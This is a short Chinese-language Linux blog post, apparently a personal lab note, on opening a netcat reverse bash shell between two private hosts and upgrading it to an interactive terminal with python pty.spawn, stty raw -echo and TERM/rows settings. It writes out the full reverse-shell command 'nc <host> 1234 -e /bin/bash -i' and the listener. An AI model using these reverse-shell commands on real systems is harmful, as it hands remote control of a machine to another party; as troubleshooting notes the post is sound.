[20230310]nc reverse bash shell问题.txt

  • [20230310]nc reverse bash shell问题.txt已关闭评论
  • 161 次浏览
  • A+
所属分类:linux技术

[20230310]nc reverse bash shell问题.txt

--//测试nc reverse bash shell遇到的问题,补充说明一下:
--//192.168.100.78  linux
$ nc -l  1234

--//192.168.100.235  linux
$ nc 192.168.100.78 1234 -e '/bin/bash -i'

--//192.168.100.78  linux
$ nc -l  1234
hostname
LIS-DB

--//缺点就是命令给盲打,没有提示符,不支持tab,上下键选择命令.
--//参考链接 :https://www.infosecademy.com/netcat-reverse-shells/

--//192.168.100.78  linux
--//根据python的版本选择执行方式.
--//for python2
python -c 'import pty; pty.spawn("/bin/bash")'
--//for python3
python3 -c 'import pty; pty.spawn("/bin/bash")'

--//这样可以出现提示符,相当于启动一个新的bash shell.但是许多问题依旧,按下ctrl+z,退出前台bash shell.
--//进入前台执行:
$ echo $TERM
screen

$ stty -a
speed 38400 baud; rows 0; columns 0; line = 0;
                  ~~~~~~~~~~~~~~~~~~~~
intr = ^C; quit = ^; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0;
-parenb -parodd cs8 -hupcl -cstopb cread -clocal -crtscts -cdtrdsr
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel -iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke
--//记下TERM,以及rows 和 columns值.然后关闭回显.
$ stty raw -echo

--//你可以进入前执行: stty raw -echo ; nc -l 1234,这样执行的缺点是执行如下命令要盲打(根本看不见),操作最好的方式是copy and paste.
python -c 'import pty; pty.spawn("/bin/bash")'

--//实际上你不按ctrl+z,另外开一个会话查看对应环境参数.
--//192.168.100.78  linux

$ echo $TERM
screen

$ stty -a
speed 38400 baud; rows 77; columns 271; line = 0;
                  ~~~~~~~~~~~~~~~~~~~~
intr = ^C; quit = ^; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0;
-parenb -parodd cs8 -hupcl -cstopb cread -clocal -crtscts -cdtrdsr
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel -iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke

--//按fg返回到前台执行如下:
reset
export SHELL=bash
export TERM=screen
stty rows 77 columns 271

--//这样一切就正常了,tab,上下键都可以正常使用,命令也不会回显.甚至vim也可以正常使用.
--//注意退出要执行2次exit命令,回到前台bash shell,会出现一些显示问题,再次执行reset就没事了.
--//实际上本地问题在于这样登录后,是一个dumop tty.打入tty结果如下.
tty
not a tty

--//顺便讲一下,链接 http://blog.itpub.net/267265/search/rever/ =>[20210908]Reverse Shell with Bash.txt
--//类似问题,也可以这样解决.